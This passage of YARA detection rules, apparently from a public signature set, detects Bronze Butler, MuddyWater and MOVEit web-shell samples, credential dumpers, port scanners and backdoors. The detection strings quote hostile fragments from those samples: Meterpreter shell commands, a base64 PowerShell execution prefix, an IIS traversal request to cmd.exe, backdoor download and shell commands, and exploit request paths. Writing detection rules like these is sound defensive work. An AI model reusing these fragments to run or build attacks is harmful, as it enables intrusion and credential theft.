		$x5 = "http://127.0.0.1/phptunnel.php" fullword ascii
		$s1 = "xxmm2.exe" fullword ascii
		$s2 = "\\AvUpdate.exe" wide
		$s3 = "stdapi_fs_file_download" fullword ascii
		$s4 = "stdapi_syncshell_open" fullword ascii
		$s5 = "stdapi_execute_sleep" fullword ascii
		$s6 = "stdapi_syncshell_kill" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( 1 of ( $x* ) or 4 of them )
}

rule BronzeButler_RarStar_1
{
	meta:
		description = "Detects malware / hacktool sample from Bronze Butler incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
		date = "2017-10-14"
		hash1 = "0fc1b4fdf0dc5373f98de8817da9380479606f775f5aa0b9b0e1a78d4b49e5f4"
		id = "770270b3-6743-5efb-84d8-b63f1df800d9"

	strings:
		$s1 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+6.0;+SV1)" fullword wide
		$s2 = "http://www.google.co.jp" fullword wide
		$s3 = "16D73E22-873D-D58E-4F42-E6055BC9825E" fullword ascii
		$s4 = "\\*.rar" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule Daserf_Nov1_BronzeButler
{
	meta:
		description = "Detects Daserf malware used by Bronze Butler"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/ffeCfd"
		date = "2017-11-08"
		hash1 = "5ede6f93f26ccd6de2f93c9bd0f834279df5f5cfe3457915fae24a3aec46961b"
		id = "58c4d3dc-c516-567b-8746-4e185c3cd328"

	strings:
		$x1 = "mstmp1845234.exe" fullword ascii
		$x2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)" fullword ascii
		$x3 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
		$s1 = "Content-Type: */*" fullword ascii
		$s2 = "ProxyEnable" ascii fullword
		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii fullword
		$s4 = "iexplore.exe" ascii fullword
		$s5 = "\\SOFTWARE\\Microsoft\\Windows\\Cu" ascii
		$s6 = "rrentVersion\\Internet Settings" fullword ascii
		$s7 = "ws\\CurrentVersion\\Inter" fullword ascii
		$s8 = "Documents an" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( 1 of ( $x* ) or 5 of them )
}

rule MuddyWater_Mal_Doc_Feb18_1
{
	meta:
		description = "Detects malicious document used by MuddyWater"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - TI2T"
		date = "2018-02-26"
		hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
		id = "5f275ee8-c6a9-532b-bc82-b109195171da"

	strings:
		$x1 = "aWV4KFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmco" ascii
		$x2 = "U1FCdUFIWUFid0JyQUdVQUxRQkZBSGdBY0FCeUFHVUFjd0J6QUdrQWJ3QnVBQ0FBS"

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 3000KB and 1 of them
}

rule MuddyWater_Mal_Doc_Feb18_2
{
	meta:
		description = "Detects malicious document used by MuddyWater"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - TI2T"
		date = "2018-02-26"
		hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
		hash2 = "366d8b84a43a528e6aaf9ecfc38980b148f983967803914471ccf011b9bb0832"
		id = "117e1d33-63a3-52c8-acf6-bc61959193db"

	strings:
		$s1 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" fullword wide
		$s2 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
		$s3 = "*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 O" wide
		$s4 = "scripting.filesystemobject$" fullword ascii
		$s5 = "ID=\"{00000000-0000-0000-0000-000000000000}\"" fullword ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 6000KB and all of them
}

rule MAL_MuddyWater_DroppedTask_Jun18_1
{
	meta:
		description = "Detects a dropped Windows task as used by MudyWater in June 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://app.any.run/tasks/719c94eb-0a00-47cc-b583-ad4f9e25ebdb"
		date = "2018-06-12"
		hash1 = "7ecc2e1817f655ece2bde39b7d6633f4f586093047ec5697a1fab6adc7e1da54"
		id = "d9ef379d-161f-59f1-873e-3af12b24b76b"

	strings:
		$x1 = "%11%\\scrobj.dll,NI,c:" wide
		$s1 = "AppAct = \"SOFTWARE\\Microsoft\\Connection Manager\"" fullword wide
		$s2 = "[DefenderService]" fullword wide
		$s3 = "UnRegisterOCXs=EventManager" fullword wide
		$s4 = "ShortSvcName=\" \"" fullword wide

	condition:
		uint16( 0 ) == 0xfeff and filesize < 1KB and ( 1 of ( $x* ) or 3 of them )
}

rule WEBSHELL_ASPX_DLL_MOVEit_Jun23_1
{
	meta:
		description = "Detects compiled ASPX web shells found being used in MOVEit Transfer exploitation"
		author = "Florian Roth"
		reference = "https://www.trustedsec.com/blog/critical-vulnerability-in-progress-moveit-transfer-technical-analysis-and-recommendations/?utm_content=251159938&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306"
		date = "2023-06-01"
		score = 85
		hash1 = "6cbf38f5f27e6a3eaf32e2ac73ed02898cbb5961566bb445e3c511906e2da1fa"
		id = "47db8602-9a9e-5efc-b8b9-fbc4f3c8d4e9"

	strings:
		$x1 = "human2_aspx" ascii fullword
		$x2 = "X-siLock-Comment" wide
		$x3 = "x-siLock-Step1" wide
		$a1 = "MOVEit.DMZ.Core.Data" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and ( 1 of ( $x* ) and $a1 ) or all of them
}

rule WEBSHELL_ASPX_MOVEit_Jun23_1
{
	meta:
		description = "Detects ASPX web shells as being used in MOVEit Transfer exploitation"
		author = "Florian Roth"
		reference = "https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/"
		date = "2023-06-01"
		score = 85
		hash1 = "2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5"
		hash2 = "48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a"
		hash3 = "e8012a15b6f6b404a33f293205b602ece486d01337b8b3ec331cd99ccadb562e"
		id = "2c789b9c-5ec5-5fd1-84e3-6bf7735a9488"

	strings:
		$s1 = "X-siLock-Comment" ascii fullword
		$s2 = "]; string x = null;" ascii
		$s3 = ";  if (!String.Equals(pass, " ascii

	condition:
		filesize < 150KB and 2 of them
}

rule LOG_EXPL_MOVEit_Exploitation_Indicator_Jun23_1
{
	meta:
		description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
		date = "2023-06-01"
		score = 70
		id = "a7c521b8-c654-51dd-9d5b-4ba883feffe3"

	strings:
		$x1 = "POST /moveitisapi/moveitisapi.dll action=m2 " ascii
		$x2 = " GET /human2.aspx - 443 " ascii

	condition:
		1 of them
}

rule LOG_EXPL_MOVEit_Exploitation_Indicator_Jun23_2
{
	meta:
		description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
		date = "2023-06-03"
		score = 70
		id = "1527f5e3-071d-5152-9452-9c4472d258f2"

	strings:
		$a1 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.102+Safari/537.36" ascii
		$a2 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.54+Safari/537.36" ascii
		$s1 = " POST /moveitisapi/moveitisapi.dll" ascii
		$s2 = " POST /guestaccess.aspx"
		$s3 = " POST /api/v1/folders/"
		$s4 = "/files uploadType=resumable&"
		$s5 = " action=m2 "

	condition:
		1 of ( $a* ) and 3 of ( $s* ) or all of ( $s* )
}

rule LOG_EXPL_MOVEit_Exploitation_Indicator_Jun23_3
{
	meta:
		description = "Detects a potential compromise indicator found in MOVEit DMZ Web API logs"
		author = "Nasreddine Bencherchali"
		reference = "https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis"
		date = "2023-06-13"
		score = 70
		id = "113a501f-d9ed-51fd-82cd-ccb6f02833bd"

	strings:
		$s1 = "TargetInvocationException" ascii
		$s2 = "MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream" ascii

	condition:
		all of ( $s* )
}

rule WindowsCredentialEditor
{
	meta:
		description = "Windows Credential Editor"
		threat_level = 10
		score = 90
		id = "1542c6e4-36b2-5272-85d0-43226869b43e"

	strings:
		$a = "extract the TGT session key"
		$b = "Windows Credentials Editor"

	condition:
		all of them
}

rule HKTL_Amplia_Security_Tool
{
	meta:
		description = "Detects Amplia Security Tool like Windows Credential Editor"
		score = 60
		nodeepdive = 1
		author = "Florian Roth"
		date = "2013-01-01"
		modified = "2023-02-14"
		id = "4ad83f34-561d-53ce-9766-e21700354da7"

	strings:
		$a = "Amplia Security"
		$c = "getlsasrvaddr.exe"
		$d = "Cannot get PID of LSASS.EXE"
		$e = "extract the TGT session key"
		$f = "PPWDUMP_DATA"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 2 of them ) or 3 of them
}

rule PwDump
{
	meta:
		description = "PwDump 6 variant"
		author = "Marc Stroebel"
		date = "2014-04-24"
		score = 70
		id = "e557e548-53e8-5098-93d4-8e899384e67c"

	strings:
		$s5 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineNa"
		$s6 = "Unable to query service status. Something is wrong, please manually check the st"
		$s7 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword

	condition:
		1 of them
}

rule PScan_Portscan_1
{
	meta:
		description = "PScan - Port Scanner"
		author = "F. Roth"
		score = 50
		id = "54997776-644b-5a72-b08c-7174b7dc7f66"

	strings:
		$a = "00050;0F0M0X0a0v0}0"
		$b = "vwgvwgvP76"
		$c = "Pr0PhOFyP"

	condition:
		all of them
}

rule HackTool_Samples
{
	meta:
		description = "Hacktool"
		score = 50
		id = "ecacf84a-f66c-5c21-ae4b-fd9bfb5be384"

	strings:
		$a = "Unable to uninstall the fgexec service"
		$b = "Unable to set socket to sniff"
		$c = "Failed to load SAM functions"
		$d = "Dump system passwords"
		$e = "Error opening sam hive or not valid file"
		$f = "Couldn't find LSASS pid"
		$g = "samdump.dll"
		$h = "WPEPRO SEND PACKET"
		$i = "WPE-C1467211-7C89-49c5-801A-1D048E4014C4"
		$j = "Usage: unshadow PASSWORD-FILE SHADOW-FILE"
		$k = "arpspoof\\Debug"
		$l = "Success: The log has been cleared"
		$m = "clearlogs [\\\\computername"
		$n = "DumpUsers 1."
		$o = "dictionary attack with specified dictionary file"
		$p = "by Objectif Securite"
		$q = "objectif-securite"
		$r = "Cannot query LSA Secret on remote host"
		$s = "Cannot write to process memory on remote host"
		$t = "Cannot start PWDumpX service on host"
		$u = "usage: %s <system hive> <security hive>"
		$v = "username:domainname:LMhash:NThash"
		$w = "<server_name_or_ip> | -f <server_list_file> [username] [password]"
		$x = "Impersonation Tokens Available"
		$y = "failed to parse pwdump format string"
		$z = "Dumping password"

	condition:
		1 of them
}

rule Fierce2
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "This signature detects the Fierce2 domain scanner"
		date = "01.07.2014"
		score = 60
		id = "08a72151-48c2-513b-995f-be0d5acba7dd"

	strings:
		$s1 = "$tt_xml->process( 'end_domainscan.tt', $end_domainscan_vars,"

	condition:
		1 of them
}

rule Ncrack
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "This signature detects the Ncrack brute force tool"
		date = "01.07.2014"
		score = 60
		id = "c1c56ee9-7f76-5440-b0e0-86e372c53340"

	strings:
		$s1 = "NcrackOutputTable only supports adding up to 4096 to a cell via"

	condition:
		1 of them
}

rule SQLMap
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "This signature detects the SQLMap SQL injection tool"
		date = "01.07.2014"
		score = 60
		id = "55a72fe6-f82d-5d55-842f-5d7e1cfcc9fa"

	strings:
		$s1 = "except SqlmapBaseException, ex:"

	condition:
		1 of them
}

rule HKTL_PortScanner_Simple_Jan14
{
	meta:
		description = "Auto-generated rule on file PortScanner.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "b381b9212282c0c650cb4b0323436c63"
		old_rule_name = "PortScanner"
		id = "3e8960ce-0428-51e1-b992-4fa09fee8520"

	strings:
		$s0 = "Scan Ports Every"
		$s3 = "Scan All Possible Ports!"

	condition:
		all of them
}

rule DomainScanV1_0
{
	meta:
		description = "Auto-generated rule on file DomainScanV1_0.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "aefcd73b802e1c2bdc9b2ef206a4f24e"
		id = "94ead827-8b29-5cb5-82b6-a7ca5087bf7e"

	strings:
		$s0 = "dIJMuX$aO-EV"
		$s1 = "XELUxP\"-\\"
		$s2 = "KaR\"U'}-M,."
		$s3 = "V.)\\ZDxpLSav"
		$s4 = "Decompress error"
		$s5 = "Can't load library"
		$s6 = "Can't load function"
		$s7 = "com0tl32:.d"

	condition:
		all of them
}

rule HKTL_MooreR_Port_Scanner
{
	meta:
		description = "Auto-generated rule on file MooreR Port Scanner.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "376304acdd0b0251c8b19fea20bb6f5b"
		id = "5d8fb83f-bed3-53d2-bd33-2158911dc7c8"

	strings:
		$s0 = "Description|"
		$s3 = "soft Visual Studio\\VB9yp"
		$s4 = "adj_fptan?4"
		$s7 = "DOWS\\SyMem32\\/o"

	condition:
		all of them
}

rule NetBIOS_Name_Scanner
{
	meta:
		description = "Auto-generated rule on file NetBIOS Name Scanner.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "888ba1d391e14c0a9c829f5a1964ca2c"
		id = "03716e00-a969-5ab5-9be7-e8fc4272e40f"

	strings:
		$s0 = "IconEx"
		$s2 = "soft Visual Stu"
		$s4 = "NBTScanner!y&"

	condition:
		all of them
}

rule FeliksPack3___Scanners_ipscan
{
	meta:
		description = "Auto-generated rule on file ipscan.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "6c1bcf0b1297689c8c4c12cc70996a75"
		id = "8360b268-3434-5142-9248-40b7a1589be9"

	strings:
		$s2 = "WCAP;}ECTED"
		$s4 = "NotSupported"
		$s6 = "SCAN.VERSION{_"

	condition:
		all of them
}

rule CGISscan_CGIScan
{
	meta:
		description = "Auto-generated rule on file CGIScan.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "338820e4e8e7c943074d5a5bc832458a"
		id = "60bd5038-a308-55fd-85bb-2c4183f1c951"

	strings:
		$s1 = "Wang Products" fullword wide
		$s2 = "WSocketResolveHost: Cannot convert host address '%s'"
		$s3 = "tcp is the only protocol supported thru socks server"

	condition:
		all of ( $s* )
}

rule IP_Stealing_Utilities
{
	meta:
		description = "Auto-generated rule on file IP Stealing Utilities.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "65646e10fb15a2940a37c5ab9f59c7fc"
		id = "3a947e9c-d707-5819-88f2-059585750048"

	strings:
		$s0 = "DarkKnight"
		$s9 = "IPStealerUtilities"

	condition:
		all of them
}

rule SuperScan4
{
	meta:
		description = "Auto-generated rule on file SuperScan4.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "78f76428ede30e555044b83c47bc86f0"
		id = "bd353382-ffa2-56c5-b842-1ffc94d6849e"

	strings:
		$s2 = " td class=\"summO1\">"
		$s6 = "REM'EBAqRISE"
		$s7 = "CorExitProcess'msc#e"

	condition:
		all of them
}

rule PortRacer
{
	meta:
		description = "Auto-generated rule on file PortRacer.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "2834a872a0a8da5b1be5db65dfdef388"
		id = "54717938-2f4c-5442-b0ad-40b9acd1101a"

	strings:
		$s0 = "Auto Scroll BOTH Text Boxes"
		$s4 = "Start/Stop Portscanning"
		$s6 = "Auto Save LogFile by pressing STOP"

	condition:
		all of them
}

rule scanarator
{
	meta:
		description = "Auto-generated rule on file scanarator.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "848bd5a518e0b6c05bd29aceb8536c46"
		id = "dfc3ff29-03b4-58ca-bfe0-c6888fddab67"

	strings:
		$s4 = "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"

	condition:
		all of them
}

rule aolipsniffer
{
	meta:
		description = "Auto-generated rule on file aolipsniffer.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "51565754ea43d2d57b712d9f0a3e62b8"
		id = "f7cc0f31-6ba4-504b-82de-0334257b8a95"

	strings:
		$s0 = "C:\\Program Files\\Microsoft Visual Studio\\VB98\\VB6.OLB"
		$s1 = "dwGetAddressForObject"
		$s2 = "Color Transfer Settings"
		$s3 = "FX Global Lighting Angle"
		$s4 = "Version compatibility info"
		$s5 = "New Windows Thumbnail"
		$s6 = "Layer ID Generator Base"
		$s7 = "Color Halftone Settings"
		$s8 = "C:\\WINDOWS\\SYSTEM\\MSWINSCK.oca"

	condition:
		all of them
}

rule _Bitchin_Threads_
{
	meta:
		description = "Auto-generated rule on file =Bitchin Threads=.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "7491b138c1ee5a0d9d141fbfd1f0071b"
		id = "3a51e76c-b360-5f10-961c-ecc3ea3fa3c9"

	strings:
		$s0 = "DarKPaiN"
		$s1 = "=BITCHIN THREADS"

	condition:
		all of them
}

rule cgis4_cgis4
{
	meta:
		description = "Auto-generated rule on file cgis4.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "d658dad1cd759d7f7d67da010e47ca23"
		id = "98fbf445-b7a5-58fa-8f06-34be7321e2eb"

	strings:
		$s0 = ")PuMB_syJ"
		$s1 = "&,fARW>yR"
		$s2 = "m3hm3t_rullaz"
		$s3 = "7Projectc1"
		$s4 = "Ten-GGl\""
		$s5 = "/Moziqlxa"

	condition:
		all of them
}

rule portscan
{
	meta:
		description = "Auto-generated rule on file portscan.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "a8bfdb2a925e89a281956b1e3bb32348"
		id = "967d6e3b-ae0d-5f93-a20d-742fc010608d"

	strings:
		$s5 = "0    :SCAN BEGUN ON PORT:"
		$s6 = "0    :PORTSCAN READY."

	condition:
		all of them
}

rule ProPort_zip_Folder_ProPort
{
	meta:
		description = "Auto-generated rule on file ProPort.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "c1937a86939d4d12d10fc44b7ab9ab27"
		id = "cd611f6c-42ed-5cd3-a6ab-7e0970925e61"

	strings:
		$s0 = "Corrupt Data!"
		$s1 = "K4p~omkIz"
		$s2 = "DllTrojanScan"
		$s3 = "GetDllInfo"
		$s4 = "Compressed by Petite (c)1999 Ian Luck."
		$s5 = "GetFileCRC32"
		$s6 = "GetTrojanNumber"
		$s7 = "TFAKAbout"

	condition:
		all of them
}

rule StealthWasp_s_Basic_PortScanner_v1_2
{
	meta:
		description = "Auto-generated rule on file StealthWasp's Basic PortScanner v1.2.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "7c0f2cab134534cd35964fe4c6a1ff00"
		id = "7f706186-f2e2-5d4d-951a-2ec8fc757cec"

	strings:
		$s1 = "Basic PortScanner"
		$s6 = "Now scanning port:"

	condition:
		all of them
}

rule BluesPortScan
{
	meta:
		description = "Auto-generated rule on file BluesPortScan.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "6292f5fc737511f91af5e35643fc9eef"
		id = "4bcb8b7c-5e22-5496-9a29-66e85e3c3395"

	strings:
		$s0 = "This program was made by Volker Voss"
		$s1 = "JiBOo~SSB"

	condition:
		all of them
}

rule scanarator_iis
{
	meta:
		description = "Auto-generated rule on file iis.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "3a8fc02c62c8dd65e038cc03e5451b6e"
		id = "a467147b-53c8-53db-aa33-5f0e4e066988"

	strings:
		$s0 = "example: iis 10.10.10.10"
		$s1 = "send error"

	condition:
		all of them
}

rule stealth_Stealth
{
	meta:
		description = "Auto-generated rule on file Stealth.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "8ce3a386ce0eae10fc2ce0177bbc8ffa"
		id = "5f45882e-3e27-596d-8725-fad380e1c297"

	strings:
		$s3 = "<table width=\"60%\" bgcolor=\"black\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" bordercolor=\"white\"><tr><td>"
		$s6 = "This tool may be used only by system administrators. I am not responsible for "

	condition:
		all of them
}

rule Angry_IP_Scanner_v2_08_ipscan
{
	meta:
		description = "Auto-generated rule on file ipscan.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "70cf2c09776a29c3e837cb79d291514a"
		id = "5fbcbb95-6cd4-5587-bf44-5b5ed133ce5e"

	strings:
		$s0 = "_H/EnumDisplay/"
		$s5 = "ECTED.MSVCRT0x"
		$s8 = "NotSupported7"

	condition:
		all of them
}

rule crack_Loader
{
	meta:
		description = "Auto-generated rule on file Loader.exe"
		author = "yarGen Yara Rule Generator by Florian Roth"
		hash = "f4f79358a6c600c1f0ba1f7e4879a16d"
		id = "0c4c7b69-7739-5c1b-8c7c-4aaa724e4455"

	strings:
		$s0 = "NeoWait.exe"
		$s1 = "RRRRRRRW"

	condition:
		all of them
}

rule CN_GUI_Scanner
{
	meta:
		description = "Detects an unknown GUI scanner tool - CN background"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3c67bbb1911cdaef5e675c56145e1112"
		score = 65
		date = "04.10.2014"
		id = "ca88d4d3-5d18-5856-874f-e50deceef54f"

	strings:
		$s1 = "good.txt" fullword ascii
		$s2 = "IP.txt" fullword ascii
		$s3 = "xiaoyuer" fullword ascii
		$s0w = "ssh(" wide
		$s1w = ").exe" fullword wide

	condition:
		all of them
}

rule CN_Packed_Scanner
{
	meta:
		description = "Suspiciously packed executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "6323b51c116a77e3fba98f7bb7ff4ac6"
		score = 40
		date = "06.10.2014"
		id = "a11c4ee6-7244-5601-af26-a45f9fdc8e1b"

	strings:
		$s1 = "kernel32.dll" fullword ascii
		$s2 = "CRTDLL.DLL" fullword ascii
		$s3 = "__GetMainArgs" fullword ascii
		$s4 = "WS2_32.DLL" fullword ascii

	condition:
		all of them and filesize < 180KB and filesize > 70KB
}

rule Tiny_Network_Tool_Generic : FILE
{
	meta:
		description = "Tiny tool with suspicious function imports. (Rule based on WinEggDrop Scanner samples)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "08.10.2014"
		score = 40
		hash0 = "9e1ab25a937f39ed8b031cd8cfbc4c07"
		hash1 = "cafc31d39c1e4721af3ba519759884b9"
		hash2 = "8e635b9a1e5aa5ef84bfa619bd2a1f92"
		id = "04b1c2c6-605c-52d5-aa07-f3b77a6c4593"

	strings:
		$s0 = "KERNEL32.DLL" fullword ascii
		$s1 = "CRTDLL.DLL" fullword ascii
		$s3 = "LoadLibraryA" fullword ascii
		$s4 = "GetProcAddress" fullword ascii
		$y1 = "WININET.DLL" fullword ascii
		$y2 = "atoi" fullword ascii
		$x1 = "ADVAPI32.DLL" fullword ascii
		$x2 = "USER32.DLL" fullword ascii
		$x3 = "wsock32.dll" fullword ascii
		$x4 = "FreeSid" fullword ascii
		$x5 = "atoi" fullword ascii
		$z1 = "ADVAPI32.DLL" fullword ascii
		$z2 = "USER32.DLL" fullword ascii
		$z3 = "FreeSid" fullword ascii
		$z4 = "ToAscii" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* ) and ( all of ( $y* ) or all of ( $x* ) or all of ( $z* ) ) and filesize < 15KB
}

rule Beastdoor_Backdoor
{
	meta:
		description = "Detects the backdoor Beastdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 55
		hash = "5ab10dda548cb821d7c15ebcd0a9f1ec6ef1a14abcc8ad4056944d060c49535a"
		id = "64f67233-6677-53c8-b212-f1a425f78803"

	strings:
		$s0 = "Redirect SPort RemoteHost RPort  -->Port Redirector" fullword
		$s1 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword
		$s2 = "http://IP/a.exe a.exe            -->Download A File" fullword
		$s7 = "Host: wwp.mirabilis.com:80" fullword
		$s8 = "%s -Set Port PortNumber              -->Set The Service Port" fullword
		$s11 = "Shell                            -->Get A Shell" fullword
		$s14 = "DeleteService ServiceName        -->Delete A Service" fullword
		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword
		$s17 = "%s -Set ServiceName ServiceName      -->Set The Service Name" fullword

	condition:
		2 of them
}

rule Powershell_Netcat
{
	meta:
		description = "Detects a Powershell version of the Netcat network hacking tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		date = "10.10.2014"
		id = "e4b018c0-3214-5102-93b1-6a048324f9dd"

	strings:
		$s0 = "[ValidateRange(1, 65535)]" fullword
		$s1 = "$Client = New-Object -TypeName System.Net.Sockets.TcpClient" fullword
		$s2 = "$Buffer = New-Object -TypeName System.Byte[] -ArgumentList $Client.ReceiveBufferSize" fullword

	condition:
		all of them
}

rule Chinese_Hacktool_1014
{
	meta:
		description = "Detects a chinese hacktool with unknown use"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		date = "10.10.2014"
		hash = "98c07a62f7f0842bcdbf941170f34990"
		id = "e5db5f58-a1fd-51e0-9037-337fcca71f11"

	strings:
		$s0 = "IEXT2_IDC_HORZLINEMOVECURSOR" fullword wide
		$s1 = "msctls_progress32" fullword wide
		$s2 = "Reply-To: %s" fullword ascii
		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
		$s4 = "html htm htx asp" fullword ascii

	condition:
		all of them
}

rule CN_Hacktool_BAT_PortsOpen
{
	meta:
		description = "Detects a chinese BAT hacktool for local port evaluation"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		date = "12.10.2014"
		id = "55c3f678-ba70-5a4a-b288-9d0953eff968"

	strings:
		$s0 = "for /f \"skip=4 tokens=2,5\" %%a in ('netstat -ano -p TCP') do (" ascii
		$s1 = "in ('tasklist /fi \"PID eq %%b\" /FO CSV') do " ascii
		$s2 = "@echo off" ascii

	condition:
		all of them
}

rule CN_Hacktool_SSPort_Portscanner
{
	meta:
		description = "Detects a chinese Portscanner named SSPort"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		date = "12.10.2014"
		id = "38cc8830-efd3-51b7-8ac6-c9bf468212cb"

	strings:
		$s0 = "Golden Fox" fullword wide
		$s1 = "Syn Scan Port" fullword wide
		$s2 = "CZ88.NET" fullword wide

	condition:
		all of them
}

rule CN_Hacktool_ScanPort_Portscanner
{
	meta:
		description = "Detects a chinese Portscanner named ScanPort"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		date = "12.10.2014"
		id = "a708283e-339c-599f-9321-3b063d0076a9"

	strings:
		$s0 = "LScanPort" fullword wide
		$s1 = "LScanPort Microsoft" fullword wide
		$s2 = "www.yupsoft.com" fullword wide

	condition:
		all of them
}

rule CN_Hacktool_S_EXE_Portscanner
{
	meta:
		description = "Detects a chinese Portscanner named s.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
